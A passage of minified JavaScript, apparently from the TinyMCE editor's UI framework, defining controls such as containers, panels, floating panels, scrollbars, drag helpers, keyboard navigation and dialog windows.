c.rtl},classPrefix:l,init:function(e){var n=this,r,o;if(n.settings=e=t.extend({},n.Defaults,e),n._id=e.id||i.id(),n._text=n._name="",n._width=n._height=0,n._aria={role:e.role},this._elmCache={},r=e.classes)for(r=r.split(" "),r.map={},o=r.length;o--;)r.map[r[o]]=!0;n._classes=r||[],n.visible(!0),t.each("title text width height name classes visible disabled active value".split(" "),function(t){var r=e[t],i;r!==i?n[t](r):n["_"+t]===i&&(n["_"+t]=!1)}),n.on("click",function(){return n.disabled()?!1:void 0}),e.classes&&t.each(e.classes.split(" "),function(e){n.addClass(e)}),n.settings=e,n._borderBox=n.parseBox(e.border),n._paddingBox=n.parseBox(e.padding),n._marginBox=n.parseBox(e.margin),e.hidden&&n.hide()},Properties:"parent,title,text,width,height,disabled,active,name,value",Methods:"renderHtml",getContainerElm:function(){return document.body},getParentCtrl:function(e){for(var t,n=this.getRoot().controlIdLookup;e&&n&&!(t=n[e.id]);)e=e.parentNode;return t},parseBox:function(e){var t,n=10;if(e)return"number"==typeof e?(e=e||0,{top:e,left:e,bottom:e,right:e}):(e=e.split(" "),t=e.length,1===t?e[1]=e[2]=e[3]=e[0]:2===t?(e[2]=e[0],e[3]=e[1]):3===t&&(e[3]=e[1]),{top:parseInt(e[0],n)||0,right:parseInt(e[1],n)||0,bottom:parseInt(e[2],n)||0,left:parseInt(e[3],n)||0})},borderBox:function(){return this._borderBox},paddingBox:function(){return this._paddingBox},marginBox:function(){return this._marginBox},measureBox:function(e,t){function n(t){var n=document.defaultView;return n?(t=t.replace(/[A-Z]/g,function(e){return"-"+e}),n.getComputedStyle(e,null).getPropertyValue(t)):e.currentStyle[t]}function r(e){var t=parseFloat(n(e),10);return isNaN(t)?0:t}return{top:r(t+"TopWidth"),right:r(t+"RightWidth"),bottom:r(t+"BottomWidth"),left:r(t+"LeftWidth")}},initLayoutRect:function(){var e=this,t=e.settings,n,r,o=e.getEl(),a,s,l,c,u,d,f,p;n=e._borderBox=e._borderBox||e.measureBox(o,"border"),e._paddingBox=e._paddingBox||e.measureBox(o,"padding"),e._marginBox=e._marginBox||e.measureBox(o,"margin"),p=i.getSize(o),d=t.minWidth,f=t.minHeight,l=d||p.width,c=f||p.height,a=t.width,s=t.height,u=t.autoResize,u="undefined"!=typeof u?u:!a&&!s,a=a||l,s=s||c;var h=n.left+n.right,m=n.top+n.bottom,g=t.maxWidth||65535,v=t.maxHeight||65535;return e._layoutRect=r={x:t.x||0,y:t.y||0,w:a,h:s,deltaW:h,deltaH:m,contentW:a-h,contentH:s-m,innerW:a-h,innerH:s-m,startMinWidth:d||0,startMinHeight:f||0,minW:Math.min(l,g),minH:Math.min(c,v),maxW:g,maxH:v,autoResize:u,scrollW:0},e._lastLayoutRect={},r},layoutRect:function(e){var t=this,n=t._layoutRect,r,i,o,a,s,l;return n||(n=t.initLayoutRect()),e?(o=n.deltaW,a=n.deltaH,e.x!==s&&(n.x=e.x),e.y!==s&&(n.y=e.y),e.minW!==s&&(n.minW=e.minW),e.minH!==s&&(n.minH=e.minH),i=e.w,i!==s&&(i=i<n.minW?n.minW:i,i=i>n.maxW?n.maxW:i,n.w=i,n.innerW=i-o),i=e.h,i!==s&&(i=i<n.minH?n.minH:i,i=i>n.maxH?n.maxH:i,n.h=i,n.innerH=i-a),i=e.innerW,i!==s&&(i=i<n.minW-o?n.minW-o:i,i=i>n.maxW-o?n.maxW-o:i,n.innerW=i,n.w=i+o),i=e.innerH,i!==s&&(i=i<n.minH-a?n.minH-a:i,i=i>n.maxH-a?n.maxH-a:i,n.innerH=i,n.h=i+a),e.contentW!==s&&(n.contentW=e.contentW),e.contentH!==s&&(n.contentH=e.contentH),r=t._lastLayoutRect,(r.x!==n.x||r.y!==n.y||r.w!==n.w||r.h!==n.h)&&(l=c.repaintControls,l&&l.map&&!l.map[t._id]&&(l.push(t),l.map[t._id]=!0),r.x=n.x,r.y=n.y,r.w=n.w,r.h=n.h),t):n},repaint:function(){var e=this,t,n,r,i,o=0,a=0,s,l;l=document.createRange?function(e){return e}:Math.round,t=e.getEl().style,r=e._layoutRect,s=e._lastRepaintRect||{},i=e._borderBox,o=i.left+i.right,a=i.top+i.bottom,r.x!==s.x&&(t.left=l(r.x)+"px",s.x=r.x),r.y!==s.y&&(t.top=l(r.y)+"px",s.y=r.y),r.w!==s.w&&(t.width=l(r.w-o)+"px",s.w=r.w),r.h!==s.h&&(t.height=l(r.h-a)+"px",s.h=r.h),e._hasBody&&r.innerW!==s.innerW&&(n=e.getEl("body").style,n.width=l(r.innerW)+"px",s.innerW=r.innerW),e._hasBody&&r.innerH!==s.innerH&&(n=n||e.getEl("body").style,n.height=l(r.innerH)+"px",s.innerH=r.innerH),e._lastRepaintRect=s,e.fire("repaint",{},!1)},on:function(e,t){function n(e){var t,n;return"string"!=typeof e?e:function(i){return t||r.parentsAndSelf().each(function(r){var i=r.settings.callbacks;return i&&(t=i[e])?(n=r,!1):void 0}),t.call(n,i)}}var r=this;return o(r).on(e,n(t)),r},off:function(e,t){return o(this).off(e,t),this},fire:function(e,t,n){var r=this;if(t=t||{},t.control||(t.control=r),t=o(r).fire(e,t),n!==!1&&r.parent)for(var i=r.parent();i&&!t.isPropagationStopped();)i.fire(e,t,!1),i=i.parent();return t},hasEventListeners:function(e){return o(this).has(e)},parents:function(e){var t=this,n,i=new r;for(n=t.parent();n;n=n.parent())i.add(n);return e&&(i=i.filter(e)),i},parentsAndSelf:function(e){return new r(this).add(this.parents(e))},next:function(){var e=this.parent().items();return e[e.indexOf(this)+1]},prev:function(){var e=this.parent().items();return e[e.indexOf(this)-1]},findCommonAncestor:function(e,t){for(var n;e;){for(n=t;n&&e!=n;)n=n.parent();if(e==n)break;e=e.parent()}return e},hasClass:function(e,t){var n=this._classes[t||"control"];return e=this.classPrefix+e,n&&!!n.map[e]},addClass:function(e,t){var n=this,r,i;return e=this.classPrefix+e,r=n._classes[t||"control"],r||(r=[],r.map={},n._classes[t||"control"]=r),r.map[e]||(r.map[e]=e,r.push(e),n._rendered&&(i=n.getEl(t),i&&(i.className=r.join(" ")))),n},removeClass:function(e,t){var n=this,r,i,o;if(e=this.classPrefix+e,r=n._classes[t||"control"],r&&r.map[e])for(delete r.map[e],i=r.length;i--;)r[i]===e&&r.splice(i,1);return n._rendered&&(o=n.getEl(t),o&&(o.className=r.join(" "))),n},toggleClass:function(e,t,n){var r=this;return t?r.addClass(e,n):r.removeClass(e,n),r},classes:function(e){var t=this._classes[e||"control"];return t?t.join(" "):""},innerHtml:function(e){return i.innerHtml(this.getEl(),e),this},getEl:function(e){var t=e?this._id+"-"+e:this._id;return this._elmCache[t]||(this._elmCache[t]=i.get(t)),this._elmCache[t]},visible:function(e){var t=this,n;return"undefined"!=typeof e?(t._visible!==e&&(t._rendered&&(t.getEl().style.display=e?"":"none"),t._visible=e,n=t.parent(),n&&(n._lastRect=null),t.fire(e?"show":"hide")),t):t._visible},show:function(){return this.visible(!0)},hide:function(){return this.visible(!1)},focus:function(){try{this.getEl().focus()}catch(e){}return this},blur:function(){return this.getEl().blur(),this},aria:function(e,t){var n=this,r=n.getEl(n.ariaTarget);return"undefined"==typeof t?n._aria[e]:(n._aria[e]=t,n._rendered&&r.setAttribute("role"==e?e:"aria-"+e,t),n)},encode:function(e,t){return t!==!1&&(e=this.translate(e)),(e||"").replace(/[&<>"]/g,function(e){return"&#"+e.charCodeAt(0)+";"})},translate:function(e){return c.translate?c.translate(e):e},before:function(e){var t=this,n=t.parent();return n&&n.insert(e,n.items().indexOf(t),!0),t},after:function(e){var t=this,n=t.parent();return n&&n.insert(e,n.items().indexOf(t)),t},remove:function(){var e=this,t=e.getEl(),n=e.parent(),r,o;if(e.items){var a=e.items().toArray();for(o=a.length;o--;)a[o].remove()}n&&n.items&&(r=[],n.items().each(function(t){t!==e&&r.push(t)}),n.items().set(r),n._lastRect=null),e._eventsRoot&&e._eventsRoot==e&&i.off(t);var s=e.getRoot().controlIdLookup;return s&&delete s[e._id],t&&t.parentNode&&t.parentNode.removeChild(t),e._rendered=!1,e},renderBefore:function(e){var t=this;return e.parentNode.insertBefore(i.createFragment(t.renderHtml()),e),t.postRender(),t},renderTo:function(e){var t=this;return e=e||t.getContainerElm(),e.appendChild(i.createFragment(t.renderHtml())),t.postRender(),t},postRender:function(){var e=this,t=e.settings,n,r,o,a,s;for(a in t)0===a.indexOf("on")&&e.on(a.substr(2),t[a]);if(e._eventsRoot){for(o=e.parent();!s&&o;o=o.parent())s=o._eventsRoot;if(s)for(a in s._nativeEvents)e._nativeEvents[a]=!0}e.bindPendingEvents(),t.style&&(n=e.getEl(),n&&(n.setAttribute("style",t.style),n.style.cssText=t.style)),e._visible||i.css(e.getEl(),"display","none"),e.settings.border&&(r=e.borderBox(),i.css(e.getEl(),{"border-top-width":r.top,"border-right-width":r.right,"border-bottom-width":r.bottom,"border-left-width":r.left}));var l=e.getRoot();l.controlIdLookup||(l.controlIdLookup={}),l.controlIdLookup[e._id]=e;for(var c in e._aria)e.aria(c,e._aria[c]);e.fire("postrender",{},!1)},scrollIntoView:function(e){function t(e,t){var n,r,i=e;for(n=r=0;i&&i!=t&&i.nodeType;)n+=i.offsetLeft||0,r+=i.offsetTop||0,i=i.offsetParent;return{x:n,y:r}}var n=this.getEl(),r=n.parentNode,i,o,a,s,l,c,u=t(n,r);return i=u.x,o=u.y,a=n.offsetWidth,s=n.offsetHeight,l=r.clientWidth,c=r.clientHeight,"end"==e?(i-=l-a,o-=c-s):"center"==e&&(i-=l/2-a/2,o-=c/2-s/2),r.scrollLeft=i,r.scrollTop=o,this},bindPendingEvents:function(){function e(e){var t=o.getParentCtrl(e.target);t&&t.fire(e.type,e)}function t(){var e=d._lastHoverCtrl;e&&(e.fire("mouseleave",{target:e.getEl()}),e.parents().each(function(e){e.fire("mouseleave",{target:e.getEl()})}),d._lastHoverCtrl=null)}function n(e){var t=o.getParentCtrl(e.target),n=d._lastHoverCtrl,r=0,i,a,s;if(t!==n){if(d._lastHoverCtrl=t,a=t.parents().toArray().reverse(),a.push(t),n){for(s=n.parents().toArray().reverse(),s.push(n),r=0;r<s.length&&a[r]===s[r];r++);for(i=s.length-1;i>=r;i--)n=s[i],n.fire("mouseleave",{target:n.getEl()})}for(i=r;i<a.length;i++)t=a[i],t.fire("mouseenter",{target:t.getEl()})}}function r(e){e.preventDefault(),"mousewheel"==e.type?(e.deltaY=-1/40*e.wheelDelta,e.wheelDeltaX&&(e.deltaX=-1/40*e.wheelDeltaX)):(e.deltaX=0,e.deltaY=e.detail),e=o.fire("wheel",e)}var o=this,l,c,u,d,f,p;if(o._rendered=!0,f=o._nativeEvents){for(u=o.parents().toArray(),u.unshift(o),l=0,c=u.length;!d&&c>l;l++)d=u[l]._eventsRoot;for(d||(d=u[u.length-1]||o),o._eventsRoot=d,c=l,l=0;c>l;l++)u[l]._eventsRoot=d;var h=d._delegates;h||(h=d._delegates={});for(p in f){if(!f)return!1;"wheel"!==p||s?("mouseenter"===p||"mouseleave"===p?d._hasMouseEnter||(i.on(d.getEl(),"mouseleave",t),i.on(d.getEl(),"mouseover",n),d._hasMouseEnter=1):h[p]||(i.on(d.getEl(),p,e),h[p]=!0),f[p]=!1):a?i.on(o.getEl(),"mousewheel",r):i.on(o.getEl(),"DOMMouseScroll",r)}}},getRoot:function(){for(var e=this,t,n=[];e;){if(e.rootControl){t=e.rootControl;break}n.push(e),t=e,e=e.parent()}t||(t=this);for(var r=n.length;r--;)n[r].rootControl=t;return t},reflow:function(){return this.repaint(),this}});return c}),r(G,[],function(){var e={},t;return{add:function(t,n){e[t.toLowerCase()]=n},has:function(t){return!!e[t.toLowerCase()]},create:function(n,r){var i,o,a;if(!t){a=tinymce.ui;for(o in a)e[o.toLowerCase()]=a[o];t=!0}if("string"==typeof n?(r=r||{},r.type=n):(r=n,n=r.type),n=n.toLowerCase(),i=e[n],!i)throw new Error("Could not find control by type: "+n);return i=new i(r),i.type=n,i}}}),r(X,[],function(){return function(e){function t(e){return e=e||b,e&&e.getAttribute("role")}function n(e){for(var n,r=e||b;r=r.parentNode;)if(n=t(r))return n}function r(e){var t=b;return t?t.getAttribute("aria-"+e):void 0}function i(e){var t=e.tagName.toUpperCase();return"INPUT"==t||"TEXTAREA"==t}function o(e){return i(e)&&!e.hidden?!0:/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell)$/.test(t(e))?!0:!1}function a(e){function t(e){if(1==e.nodeType&&"none"!=e.style.display){o(e)&&n.push(e);for(var r=0;r<e.childNodes.length;r++)t(e.childNodes[r])}}var n=[];return t(e||y.getEl()),n}function s(e){var t,n;e=e||C,n=e.parents().toArray(),n.unshift(e);for(var r=0;r<n.length&&(t=n[r],!t.settings.ariaRoot);r++);return t}function l(e){var t=s(e),n=a(t.getEl());t.settings.ariaRemember&&"lastAriaIndex"in t?c(t.lastAriaIndex,n):c(0,n)}function c(e,t){return 0>e?e=t.length-1:e>=t.length&&(e=0),t[e]&&t[e].focus(),e}function u(e,t){var n=-1,r=s();t=t||a(r.getEl());for(var i=0;i<t.length;i++)t[i]===b&&(n=i);n+=e,r.lastAriaIndex=c(n,t)}function d(){var e=n();"tablist"==e?u(-1,a(b.parentNode)):C.parent().submenu?g():u(-1)}function f(){var e=t(),i=n();"tablist"==i?u(1,a(b.parentNode)):"menuitem"==e&&"menu"==i&&r("haspopup")?v():u(1)}function p(){u(-1)}function h(){var e=t(),i=n();"menuitem"==e&&"menubar"==i?v():"button"==e&&r("haspopup")?v({key:"down"}):u(1)}function m(e){var t=n();if("tablist"==t){var r=a(C.getEl("body"))[0];r&&r.focus()}else u(e.shiftKey?-1:1)}function g(){C.fire("cancel")}function v(e){e=e||{},C.fire("click",{target:b,aria:e})}var y=e.root,b,C;try{b=document.activeElement}catch(x){b=document.body}return C=y.getParentCtrl(b),y.on("keydown",function(e){function t(e,t){i(b)||t(e)!==!1&&e.preventDefault()}if(!e.isDefaultPrevented())switch(e.keyCode){case 37:t(e,d);break;case 39:t(e,f);break;case 38:t(e,p);break;case 40:t(e,h);break;case 27:g();break;case 14:case 13:case 32:t(e,v);break;case 9:m(e)!==!1&&e.preventDefault()}}),y.on("focusin",function(e){b=e.target,C=e.control}),{focusFirst:l}}}),r(J,[K,j,q,G,X,d,Y],function(e,t,n,r,i,o,a){var s={};return e.extend({layout:"",innerClass:"container-inner",init:function(e){var n=this;n._super(e),e=n.settings,n._fixed=e.fixed,n._items=new t,n.isRtl()&&n.addClass("rtl"),n.addClass("container"),n.addClass("container-body","body"),e.containerCls&&n.addClass(e.containerCls),n._layout=r.create((e.layout||n.layout)+"layout"),n.settings.items&&n.add(n.settings.items),n._hasBody=!0},items:function(){return this._items},find:function(e){return e=s[e]=s[e]||new n(e),e.find(this)},add:function(e){var t=this;return t.items().add(t.create(e)).parent(t),t
+},focus:function(e){var t=this,n,r,i;return e&&(r=t.keyboardNav||t.parents().eq(-1)[0].keyboardNav)?void r.focusFirst(t):(i=t.find("*"),t.statusbar&&i.add(t.statusbar.items()),i.each(function(e){return e.settings.autofocus?(n=null,!1):void(e.canFocus&&(n=n||e))}),n&&n.focus(),t)},replace:function(e,t){for(var n,r=this.items(),i=r.length;i--;)if(r[i]===e){r[i]=t;break}i>=0&&(n=t.getEl(),n&&n.parentNode.removeChild(n),n=e.getEl(),n&&n.parentNode.removeChild(n)),t.parent(this)},create:function(t){var n=this,i,a=[];return o.isArray(t)||(t=[t]),o.each(t,function(t){t&&(t instanceof e||("string"==typeof t&&(t={type:t}),i=o.extend({},n.settings.defaults,t),t.type=i.type=i.type||t.type||n.settings.defaultType||(i.defaults?i.defaults.type:null),t=r.create(i)),a.push(t))}),a},renderNew:function(){var e=this;return e.items().each(function(t,n){var r,i;t.parent(e),t._rendered||(r=e.getEl("body"),i=a.createFragment(t.renderHtml()),r.hasChildNodes()&&n<=r.childNodes.length-1?r.insertBefore(i,r.childNodes[n]):r.appendChild(i),t.postRender())}),e._layout.applyClasses(e),e._lastRect=null,e},append:function(e){return this.add(e).renderNew()},prepend:function(e){var t=this;return t.items().set(t.create(e).concat(t.items().toArray())),t.renderNew()},insert:function(e,t,n){var r=this,i,o,a;return e=r.create(e),i=r.items(),!n&&t<i.length-1&&(t+=1),t>=0&&t<i.length&&(o=i.slice(0,t).toArray(),a=i.slice(t).toArray(),i.set(o.concat(e,a))),r.renderNew()},fromJSON:function(e){var t=this;for(var n in e)t.find("#"+n).value(e[n]);return t},toJSON:function(){var e=this,t={};return e.find("*").each(function(e){var n=e.name(),r=e.value();n&&"undefined"!=typeof r&&(t[n]=r)}),t},preRender:function(){},renderHtml:function(){var e=this,t=e._layout,n=this.settings.role;return e.preRender(),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes()+'"'+(n?' role="'+this.settings.role+'"':"")+'><div id="'+e._id+'-body" class="'+e.classes("body")+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"},postRender:function(){var e=this,t;return e.items().exec("postRender"),e._super(),e._layout.postRender(e),e._rendered=!0,e.settings.style&&a.css(e.getEl(),e.settings.style),e.settings.border&&(t=e.borderBox(),a.css(e.getEl(),{"border-top-width":t.top,"border-right-width":t.right,"border-bottom-width":t.bottom,"border-left-width":t.left})),e.parent()||(e.keyboardNav=new i({root:e})),e},initLayoutRect:function(){var e=this,t=e._super();return e._layout.recalc(e),t},recalc:function(){var e=this,t=e._layoutRect,n=e._lastRect;return n&&n.w==t.w&&n.h==t.h?void 0:(e._layout.recalc(e),t=e.layoutRect(),e._lastRect={x:t.x,y:t.y,w:t.w,h:t.h},!0)},reflow:function(){var t;if(this.visible()){for(e.repaintControls=[],e.repaintControls.map={},this.recalc(),t=e.repaintControls.length;t--;)e.repaintControls[t].repaint();"flow"!==this.settings.layout&&"stack"!==this.settings.layout&&this.repaint(),e.repaintControls=[]}return this}})}),r(Q,[Y],function(e){function t(){var e=document,t,n,r,i,o,a,s,l,c=Math.max;return t=e.documentElement,n=e.body,r=c(t.scrollWidth,n.scrollWidth),i=c(t.clientWidth,n.clientWidth),o=c(t.offsetWidth,n.offsetWidth),a=c(t.scrollHeight,n.scrollHeight),s=c(t.clientHeight,n.clientHeight),l=c(t.offsetHeight,n.offsetHeight),{width:o>r?i:r,height:l>a?s:a}}return function(n,r){function i(){return a.getElementById(r.handle||n)}var o,a=document,s,l,c,u,d,f;r=r||{},l=function(n){var l=t(),p,h;n.preventDefault(),s=n.button,p=i(),d=n.screenX,f=n.screenY,h=window.getComputedStyle?window.getComputedStyle(p,null).getPropertyValue("cursor"):p.runtimeStyle.cursor,o=a.createElement("div"),e.css(o,{position:"absolute",top:0,left:0,width:l.width,height:l.height,zIndex:2147483647,opacity:1e-4,cursor:h}),a.body.appendChild(o),e.on(a,"mousemove",u),e.on(a,"mouseup",c),r.start(n)},u=function(e){return e.button!==s?c(e):(e.deltaX=e.screenX-d,e.deltaY=e.screenY-f,e.preventDefault(),void r.drag(e))},c=function(t){e.off(a,"mousemove",u),e.off(a,"mouseup",c),o.parentNode.removeChild(o),r.stop&&r.stop(t)},this.destroy=function(){e.off(i())},e.on(i(),"mousedown",l)}}),r(Z,[Y,Q],function(e,t){return{init:function(){var e=this;e.on("repaint",e.renderScroll)},renderScroll:function(){function n(){function t(t,a,s,l,c,u){var d,f,p,h,m,g,v,y,b;if(f=i.getEl("scroll"+t)){if(y=a.toLowerCase(),b=s.toLowerCase(),i.getEl("absend")&&e.css(i.getEl("absend"),y,i.layoutRect()[l]-1),!c)return void e.css(f,"display","none");e.css(f,"display","block"),d=i.getEl("body"),p=i.getEl("scroll"+t+"t"),h=d["client"+s]-2*o,h-=n&&r?f["client"+u]:0,m=d["scroll"+s],g=h/m,v={},v[y]=d["offset"+a]+o,v[b]=h,e.css(f,v),v={},v[y]=d["scroll"+a]*g,v[b]=h*g,e.css(p,v)}}var n,r,a;a=i.getEl("body"),n=a.scrollWidth>a.clientWidth,r=a.scrollHeight>a.clientHeight,t("h","Left","Width","contentW",n,"Height"),t("v","Top","Height","contentH",r,"Width")}function r(){function n(n,r,a,s,l){var c,u=i._id+"-scroll"+n,d=i.classPrefix;i.getEl().appendChild(e.createFragment('<div id="'+u+'" class="'+d+"scrollbar "+d+"scrollbar-"+n+'"><div id="'+u+'t" class="'+d+'scrollbar-thumb"></div></div>')),i.draghelper=new t(u+"t",{start:function(){c=i.getEl("body")["scroll"+r],e.addClass(e.get(u),d+"active")},drag:function(e){var t,u,d,f,p=i.layoutRect();u=p.contentW>p.innerW,d=p.contentH>p.innerH,f=i.getEl("body")["client"+a]-2*o,f-=u&&d?i.getEl("scroll"+n)["client"+l]:0,t=f/i.getEl("body")["scroll"+a],i.getEl("body")["scroll"+r]=c+e["delta"+s]/t},stop:function(){e.removeClass(e.get(u),d+"active")}})}i.addClass("scroll"),n("v","Top","Height","Y","Width"),n("h","Left","Width","X","Height")}var i=this,o=2;i.settings.autoScroll&&(i._hasScroll||(i._hasScroll=!0,r(),i.on("wheel",function(e){var t=i.getEl("body");t.scrollLeft+=10*(e.deltaX||0),t.scrollTop+=10*e.deltaY,n()}),e.on(i.getEl("body"),"scroll",n)),n())}}}),r(et,[J,Z],function(e,t){return e.extend({Defaults:{layout:"fit",containerCls:"panel"},Mixins:[t],renderHtml:function(){var e=this,t=e._layout,n=e.settings.html;return e.preRender(),t.preRender(e),"undefined"==typeof n?n='<div id="'+e._id+'-body" class="'+e.classes("body")+'">'+t.renderHtml(e)+"</div>":("function"==typeof n&&(n=n.call(e)),e._hasBody=!1),'<div id="'+e._id+'" class="'+e.classes()+'" hidefocus="1" tabindex="-1" role="group">'+(e._preBodyHtml||"")+n+"</div>"}})}),r(tt,[Y],function(e){function t(t,n,r){var i,o,a,s,l,c,u,d,f,p;return f=e.getViewPort(),o=e.getPos(n),a=o.x,s=o.y,t._fixed&&"static"==e.getRuntimeStyle(document.body,"position")&&(a-=f.x,s-=f.y),i=t.getEl(),p=e.getSize(i),l=p.width,c=p.height,p=e.getSize(n),u=p.width,d=p.height,r=(r||"").split(""),"b"===r[0]&&(s+=d),"r"===r[1]&&(a+=u),"c"===r[0]&&(s+=Math.round(d/2)),"c"===r[1]&&(a+=Math.round(u/2)),"b"===r[3]&&(s-=c),"r"===r[4]&&(a-=l),"c"===r[3]&&(s-=Math.round(c/2)),"c"===r[4]&&(a-=Math.round(l/2)),{x:a,y:s,w:l,h:c}}return{testMoveRel:function(n,r){for(var i=e.getViewPort(),o=0;o<r.length;o++){var a=t(this,n,r[o]);if(this._fixed){if(a.x>0&&a.x+a.w<i.w&&a.y>0&&a.y+a.h<i.h)return r[o]}else if(a.x>i.x&&a.x+a.w<i.w+i.x&&a.y>i.y&&a.y+a.h<i.h+i.y)return r[o]}return r[0]},moveRel:function(e,n){"string"!=typeof n&&(n=this.testMoveRel(e,n));var r=t(this,e,n);return this.moveTo(r.x,r.y)},moveBy:function(e,t){var n=this,r=n.layoutRect();return n.moveTo(r.x+e,r.y+t),n},moveTo:function(t,n){function r(e,t,n){return 0>e?0:e+n>t?(e=t-n,0>e?0:e):e}var i=this;if(i.settings.constrainToViewport){var o=e.getViewPort(window),a=i.layoutRect();t=r(t,o.w+o.x,a.w),n=r(n,o.h+o.y,a.h)}return i._rendered?i.layoutRect({x:t,y:n}).repaint():(i.settings.x=t,i.settings.y=n),i.fire("move",{x:t,y:n}),i}}}),r(nt,[Y],function(e){return{resizeToContent:function(){this._layoutRect.autoResize=!0,this._lastRect=null,this.reflow()},resizeTo:function(t,n){if(1>=t||1>=n){var r=e.getWindowSize();t=1>=t?t*r.w:t,n=1>=n?n*r.h:n}return this._layoutRect.autoResize=!1,this.layoutRect({minW:t,minH:n,w:t,h:n}).reflow()},resizeBy:function(e,t){var n=this,r=n.layoutRect();return n.resizeTo(r.w+e,r.h+t)}}}),r(rt,[et,tt,nt,Y],function(e,t,n,r){function i(){function e(e,t){for(;e;){if(e==t)return!0;e=e.parent()}}u||(u=function(t){if(2!=t.button)for(var n=p.length;n--;){var r=p[n],i=r.getParentCtrl(t.target);if(r.settings.autohide){if(i&&(e(i,r)||r.parent()===i))continue;t=r.fire("autohide",{target:t.target}),t.isDefaultPrevented()||r.hide()}}},r.on(document,"click",u))}function o(){d||(d=function(){var e;for(e=p.length;e--;)s(p[e])},r.on(window,"scroll",d))}function a(){if(!f){var e=document.documentElement,t=e.clientWidth,n=e.clientHeight;f=function(){document.all&&t==e.clientWidth&&n==e.clientHeight||(t=e.clientWidth,n=e.clientHeight,g.hideAll())},r.on(window,"resize",f)}}function s(e){function t(t,n){for(var r,i=0;i<p.length;i++)if(p[i]!=e)for(r=p[i].parent();r&&(r=r.parent());)r==e&&p[i].fixed(t).moveBy(0,n).repaint()}var n=r.getViewPort().y;e.settings.autofix&&(e._fixed?e._autoFixY>n&&(e.fixed(!1).layoutRect({y:e._autoFixY}).repaint(),t(!1,e._autoFixY-n)):(e._autoFixY=e.layoutRect().y,e._autoFixY<n&&(e.fixed(!0).layoutRect({y:0}).repaint(),t(!0,n-e._autoFixY))))}function l(e,t){var n,i=g.zIndex||65535,o;if(e)h.push(t);else for(n=h.length;n--;)h[n]===t&&h.splice(n,1);if(h.length)for(n=0;n<h.length;n++)h[n].modal&&(i++,o=h[n]),h[n].getEl().style.zIndex=i,h[n].zIndex=i,i++;var a=document.getElementById(t.classPrefix+"modal-block");o?r.css(a,"z-index",o.zIndex-1):a&&(a.parentNode.removeChild(a),m=!1),g.currentZIndex=i}function c(e){var t;for(t=p.length;t--;)p[t]===e&&p.splice(t,1);for(t=h.length;t--;)h[t]===e&&h.splice(t,1)}var u,d,f,p=[],h=[],m,g=e.extend({Mixins:[t,n],init:function(e){var t=this;t._super(e),t._eventsRoot=t,t.addClass("floatpanel"),e.autohide&&(i(),a(),p.push(t)),e.autofix&&(o(),t.on("move",function(){s(this)})),t.on("postrender show",function(e){if(e.control==t){var n,i=t.classPrefix;t.modal&&!m&&(n=r.createFragment('<div id="'+i+'modal-block" class="'+i+"reset "+i+'fade"></div>'),n=n.firstChild,t.getContainerElm().appendChild(n),setTimeout(function(){r.addClass(n,i+"in"),r.addClass(t.getEl(),i+"in")},0),m=!0),l(!0,t)}}),t.on("show",function(){t.parents().each(function(e){return e._fixed?(t.fixed(!0),!1):void 0})}),e.popover&&(t._preBodyHtml='<div class="'+t.classPrefix+'arrow"></div>',t.addClass("popover").addClass("bottom").addClass(t.isRtl()?"end":"start"))},fixed:function(e){var t=this;if(t._fixed!=e){if(t._rendered){var n=r.getViewPort();e?t.layoutRect().y-=n.y:t.layoutRect().y+=n.y}t.toggleClass("fixed",e),t._fixed=e}return t},show:function(){var e=this,t,n=e._super();for(t=p.length;t--&&p[t]!==e;);return-1===t&&p.push(e),n},hide:function(){return c(this),l(!1,this),this._super()},hideAll:function(){g.hideAll()},close:function(){var e=this;return e.fire("close").isDefaultPrevented()||(e.remove(),l(!1,e)),e},remove:function(){c(this),this._super()},postRender:function(){var e=this;return e.settings.bodyRole&&this.getEl("body").setAttribute("role",e.settings.bodyRole),e._super()}});return g.hideAll=function(){for(var e=p.length;e--;){var t=p[e];t&&t.settings.autohide&&(t.hide(),p.splice(e,1))}},g}),r(it,[rt,et,Y,Q],function(e,t,n,r){var i=e.extend({modal:!0,Defaults:{border:1,layout:"flex",containerCls:"panel",role:"dialog",callbacks:{submit:function(){this.fire("submit",{data:this.toJSON()})},close:function(){this.close()}}},init:function(e){var n=this;n._super(e),n.isRtl()&&n.addClass("rtl"),n.addClass("window"),n._fixed=!0,e.buttons&&(n.statusbar=new t({layout:"flex",border:"1 0 0 0",spacing:3,padding:10,align:"center",pack:n.isRtl()?"start":"end",defaults:{type:"button"},items:e.buttons}),n.statusbar.addClass("foot"),n.statusbar.parent(n)),n.on("click",function(e){-1!=e.target.className.indexOf(n.classPrefix+"close")&&n.close()}),n.on("cancel",function(){n.close()}),n.aria("describedby",n.describedBy||n._id+"-none"),n.aria("label",e.title),n._fullscreen=!1},recalc:function(){var e=this,t=e.statusbar,r,i,o,a;e._fullscreen&&(e.layoutRect(n.getWindowSize()),e.layoutRect().contentH=e.layoutRect().innerH),e._super(),r=e.layoutRect(),e.settings.title&&!e._fullscreen&&(i=r.headerW,i>r.w&&(o=r.x-Math.max(0,i/2),e.layoutRect({w:i,x:o}),a=!0)),t&&(t.layoutRect({w:e.layoutRect().innerW}).recalc(),i=t.layoutRect().minW+r.deltaW,i>r.w&&(o=r.x-Math.max(0,i-r.w),e.layoutRect({w:i,x:o}),a=!0)),a&&e.recalc()},initLayoutRect:function(){var e=this,t=e._super(),r=0,i;if(e.settings.title&&!e._fullscreen){i=e.getEl("head");var o=n.getSize(i);t.headerW=o.width,t.headerH=o.height,r+=t.headerH}e.statusbar&&(r+=e.statusbar.layoutRect().h),t.deltaH+=r,t.minH+=r,t.h+=r;var a=n.getWindowSize();return t.x=Math.max(0,a.w/2-t.w/2),t.y=Math.max(0,a.h/2-t.h/2),t},renderHtml:function(){var e=this,t=e._layout,n=e._id,r=e.classPrefix,i=e.settings,o="",a="",s=i.html;return e.preRender(),t.preRender(e),i.title&&(o='<div id="'+n+'-head" class="'+r+'window-head"><div id="'+n+'-title" class="'+r+'title">'+e.encode(i.title)+'</div><button type="button" class="'+r+'close" aria-hidden="true">\xd7</button><div id="'+n+'-dragh" class="'+r+'dragh"></div></div>'),i.url&&(s='<iframe src="'+i.url+'" tabindex="-1"></iframe>'),"undefined"==typeof s&&(s=t.renderHtml(e)),e.statusbar&&(a=e.statusbar.renderHtml()),'<div id="'+n+'" class="'+e.classes()+'" hidefocus="1"><div class="'+e.classPrefix+'reset" role="application">'+o+'<div id="'+n+'-body" 